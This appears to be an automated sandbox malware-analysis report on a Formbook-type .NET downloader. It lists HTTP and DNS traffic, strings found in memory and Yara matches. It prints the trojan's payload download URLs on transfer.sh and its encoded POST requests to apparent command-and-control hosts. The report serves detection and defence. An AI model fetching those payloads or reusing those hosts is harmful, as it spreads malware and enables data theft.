Source: global traffic	HTTP traffic detected: POST /obc0/ HTTP/1.1Host: www.skyepattest.comConnection: closeContent-Length: 188Cache-Control: no-cacheOrigin: http://www.skyepattest.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.skyepattest.com/obc0/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 2d 5a 62 68 39 38 3d 32 4e 36 6e 38 5f 43 6b 75 48 53 35 64 75 51 69 42 71 65 2d 4b 57 28 50 69 73 36 56 79 69 49 53 71 56 76 72 45 77 41 71 75 6a 79 52 32 76 61 45 54 69 37 68 78 6e 28 33 57 37 6c 52 69 67 67 32 6f 6c 36 47 63 53 4e 59 77 33 4f 47 6f 31 4a 79 7a 7a 35 36 59 54 72 79 5a 39 31 49 63 51 58 2d 5a 46 46 5a 5a 30 68 65 32 4c 62 52 70 6a 38 31 4e 46 62 41 78 2d 61 71 4b 6e 79 5a 35 5a 4e 69 42 6d 6c 48 6a 5f 5a 4f 50 4b 70 51 31 50 4a 41 69 62 46 4d 39 34 4e 76 76 6b 58 5a 59 45 6d 71 55 63 73 7a 58 34 72 49 78 68 4a 6a 55 70 4b 34 42 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: -Zbh98=2N6n8_CkuHS5duQiBqe-KW(Pis6VyiISqVvrEwAqujyR2vaETi7hxn(3W7lRigg2ol6GcSNYw3OGo1Jyzz56YTryZ91IcQX-ZFFZZ0he2LbRpj81NFbAx-aqKnyZ5ZNiBmlHj_ZOPKpQ1PJAibFM94NvvkXZYEmqUcszX4rIxhJjUpK4Bg).

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 11 Oct 2022 03:56:52 GMTServer: ApacheContent-Length: 4406Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 43 6f 64 65 73 74 65 72 20 7c 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 72 65 73 70 6f 6e 73 69 76 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 33 30 30 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 73 75 70 65 72 66 69 73 68 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 65 61 73 69 6e 67 2e 31 2e 33 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 63 6f 6f 6b 69 65 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 6c 6f 61 64 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 6a 51 75 65 72 79 28 27 2e 73 70 69 6e 6e 65 72 27 29 2e 61 6e 69 6d 61 74 65 28 7b 0d 0a 20 20 20 20 20 20 20 20 27 6f 70 61 63 69 74 79 27 3a 20 30 0d 0a 20 20 20 20 7d 2c 20 31 30 30 30 2c 20 27 65 61 73 65 4f 75 74 43 75 62 69 63 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 6a 51 75 65 72 79 28 74 68 69 73 29 2e 63 73 73 28 27 64 69 73 70 6c 61 79 27 2c 20 27 6e 6f 6e 65 27 29 0d 0a 20 20 20 20 7d 29 3b 0d 0a 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 5d 3e 0d 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 69 6e 64 6f 77 73 2f 69 6e 74 65 72 6e 65 74 2d 65 78 70 6c 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 11 Oct 2022 03:57:13 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 11 Oct 2022 03:57:15 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 11 Oct 2022 03:57:17 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: wlanext.exe, 00000003.00000002.573349924.0000000003436000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Open
Source: wlanext.exe, 00000003.00000002.573349924.0000000003436000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://justinmezzell.com
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: http://ocsp.digicert.com0N
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314456233.00000000024F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314750292.000000000257D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://transfer.sh
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: wlanext.exe, 00000003.00000002.573349924.0000000003436000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.dzyngiri.com
Source: d01F736L.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: d01F736L.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://cs.deviceatlas-cdn.com
Source: wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://cs.deviceatlas-cdn.com/101dacs.js
Source: wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://cs.deviceatlas-cdn.com/smartclick
Source: d01F736L.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: d01F736L.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: d01F736L.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://my.101domain.com?utm_campaign=parked-page&utm_medium=referral&utm_source=augusta.broker&utm_
Source: wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net
Source: wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/css/vendor-1.css?20220908035046
Source: d01F736L.3.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: wlanext.exe, 00000003.00000002.572056583.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/search
Source: wlanext.exe, 00000003.00000002.572056583.0000000000858000.00000004.00000020.00020000.00000000.sdmp, d01F736L.3.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: d01F736L.3.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: d01F736L.3.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: wlanext.exe, 00000003.00000002.572056583.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=main
Source: wlanext.exe, 00000003.00000002.572056583.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=main_sfpf
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314456233.00000000024F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://transfer.sh
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314430217.00000000024E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314456233.00000000024F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://transfer.sh/get/NNwCGT/DLL.txt
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314406799.00000000024D1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314430217.00000000024E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314456233.00000000024F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://transfer.sh/get/at0HRq/COOL2.txt
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314742227.0000000002574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://transfer.sh4
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314896273.0000000002620000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://transfer.shD8
Source: wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/brand_services.htm?utm_campaign=parked-page&utm_medium=referral&utm_source
Source: wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/country_domain.htm?utm_campaign=parked-page&utm_medium=referral&utm_source
Source: wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/domain-availability-search.htm?utm_campaign=parked-page&utm_medium=referra
Source: wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/domain-registration.htm?utm_campaign=parked-page&utm_medium=referral&utm_s
Source: wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/domain_concierge_service.htm?query=augusta.broker&utm_campaign=parked-page
Source: wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/domain_monitoring_trademark_enforcement_guide.htm
Source: wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/external_links.htm
Source: wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/gmail_email_aliases.htm
Source: wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/google_workspace.htm?utm_campaign=parked-page&utm_medium=referral&utm_sour
Source: wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/new_gtld_extensions.htm?utm_campaign=parked-page&utm_medium=referral&utm_s
Source: wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/resource_center.htm
Source: wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/web_hosting.htm?utm_campaign=parked-page&utm_medium=referral&utm_source=au
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: https://www.bandicam.com0
Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	String found in binary or memory: https://www.digicert.com/CPS0
Source: wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.financestrategists.com/founder-spotlight/best-corporate-domain-registrar-independent-101
Source: wlanext.exe, 00000003.00000002.572056583.0000000000858000.00000004.00000020.00020000.00000000.sdmp, d01F736L.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: wlanext.exe, 00000003.00000002.573551014.0000000003A7E000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.skyepattest.com/obc0/?-Zbh98=7PSH/Ln00kiEZ

Source: unknown

HTTP traffic detected: POST /obc0/ HTTP/1.1Host: www.augusta.brokerConnection: closeContent-Length: 412Cache-Control: no-cacheOrigin: http://www.augusta.brokerUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.augusta.broker/obc0/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 2d 5a 62 68 39 38 3d 28 6b 62 6b 54 46 49 4f 65 79 54 6e 50 79 62 42 63 47 42 6e 39 38 53 64 6e 35 32 4f 6a 53 32 6d 31 68 7e 71 46 79 4b 71 30 6c 65 30 75 46 51 75 39 61 4d 37 4c 5f 32 6f 56 45 68 37 37 39 37 66 73 76 78 6e 53 66 33 6b 54 42 43 6c 52 50 4a 33 75 2d 64 6f 6d 4f 6b 77 31 52 30 39 32 46 79 53 58 79 49 76 42 38 36 36 35 67 34 31 71 6a 74 45 52 39 69 59 4a 7a 6f 31 73 30 4b 61 69 4a 31 57 63 74 4b 6b 79 67 35 44 43 66 39 49 38 6a 53 6c 39 73 43 5a 4d 55 37 65 35 75 30 5a 31 6c 6f 57 61 32 4c 58 73 34 66 73 4e 51 34 64 79 69 64 75 55 77 75 6e 4f 33 28 4a 54 67 31 30 7a 75 6c 46 52 79 62 36 57 79 31 6a 42 50 41 6c 78 4f 6f 67 67 49 4c 72 6d 34 54 59 64 79 61 4c 59 46 71 59 61 6d 6c 35 30 67 56 6a 32 46 58 58 78 51 4f 42 68 50 78 4f 64 59 30 38 57 6a 36 63 47 68 5a 57 63 52 34 35 6f 32 71 59 28 33 64 6b 36 50 6c 59 58 68 38 43 5a 58 69 5f 47 46 72 6a 31 42 61 4d 77 76 65 55 4c 59 75 52 74 63 65 55 54 6d 72 50 73 7a 55 6d 4d 69 43 46 6a 62 4d 4c 4f 67 69 46 42 41 44 47 48 45 78 32 69 78 30 74 6e 65 53 4b 6f 45 6b 7a 46 4c 33 73 54 54 4b 6e 73 52 68 69 36 32 55 71 78 48 35 30 38 71 61 4b 62 4b 53 39 68 6d 44 4e 78 78 6b 4a 6c 31 76 38 38 63 73 2d 32 35 55 70 41 55 72 36 53 57 72 64 4b 32 79 4e 65 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: -Zbh98=(kbkTFIOeyTnPybBcGBn98Sdn52OjS2m1h~qFyKq0le0uFQu9aM7L_2oVEh7797fsvxnSf3kTBClRPJ3u-domOkw1R092FySXyIvB8665g41qjtER9iYJzo1s0KaiJ1WctKkyg5DCf9I8jSl9sCZMU7e5u0Z1loWa2LXs4fsNQ4dyiduUwunO3(JTg10zulFRyb6Wy1jBPAlxOoggILrm4TYdyaLYFqYaml50gVj2FXXxQOBhPxOdY08Wj6cGhZWcR45o2qY(3dk6PlYXh8CZXi_GFrj1BaMwveULYuRtceUTmrPszUmMiCFjbMLOgiFBADGHEx2ix0tneSKoEkzFL3sTTKnsRhi62UqxH508qaKbKS9hmDNxxkJl1v88cs-25UpAUr6SWrdK2yNeQ).

Source: unknown

DNS traffic detected: queries for: transfer.sh

Source: global traffic	HTTP traffic detected: GET /get/at0HRq/COOL2.txt HTTP/1.1Host: transfer.shConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /get/NNwCGT/DLL.txt HTTP/1.1Host: transfer.sh
Source: global traffic	HTTP traffic detected: GET /obc0/?-Zbh98=V2kSpVpGpqmsc+zV99/vwEPQm6AjbD0sNlmHlMce7g5oKKN3NgpJQJsKfnUSGJnURE4hRqcigFYsP8mgf+TOZi6v6bw37RqyMQ==&C0=X82hHfExC6QP HTTP/1.1Host: www.negerbajs.infoConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /obc0/?-Zbh98=ymzEQwRFXCPDCi+CRQJb7/Cu/KCeuwmnwGnTOFfe8Wu9oS0w58wfIKm/BUV3lMrC1MN0SKPFf3LORs93kZV7msxn8x5u5Wnabg==&C0=X82hHfExC6QP HTTP/1.1Host: www.augusta.brokerConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /obc0/?-Zbh98=QEPeK6C4+xU1T+Zv89RyXnFvtkuTgj7CyQVR6lB98YiPEjAwu2VabqstxXG4WeniE5n6fSCr36EXz2ZAkGy4VKLMfvQeNDQPqw==&C0=X82hHfExC6QP HTTP/1.1Host: www.luregirl.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /obc0/?-Zbh98=MMZqO1I08y1GBRfD5BQQX3BCGY/GGPyfy+PmyLieMA7AvKnTbkXoUfvxfVWp1ohOvSFQ0Ck6defUcVisMCvldqUqNSR/syiy4w==&C0=X82hHfExC6QP HTTP/1.1Host: www.bloopacts.liveConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /obc0/?-Zbh98=7PSH/Ln00kiEZ+8VHNPsGnjemOaV3QQvmjWzLH8ChjGT6OrVSUax7xbhQJ4P9gQznTCEUU1HjkXGkkJ8y3lbGhe/UOddQQeZUw==&C0=X82hHfExC6QP HTTP/1.1Host: www.skyepattest.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: unknown

HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49699 version: TLS 1.2

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 00000003.00000002.571202230.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.365503115.000000000E427000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.570970656.0000000000160000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.399292071.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.571268092.0000000000600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary

Source: 00000003.00000002.571202230.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.571202230.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.571202230.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000000.365503115.000000000E427000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000000.365503115.000000000E427000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000000.365503115.000000000E427000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.570970656.0000000000160000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.570970656.0000000000160000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.570970656.0000000000160000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
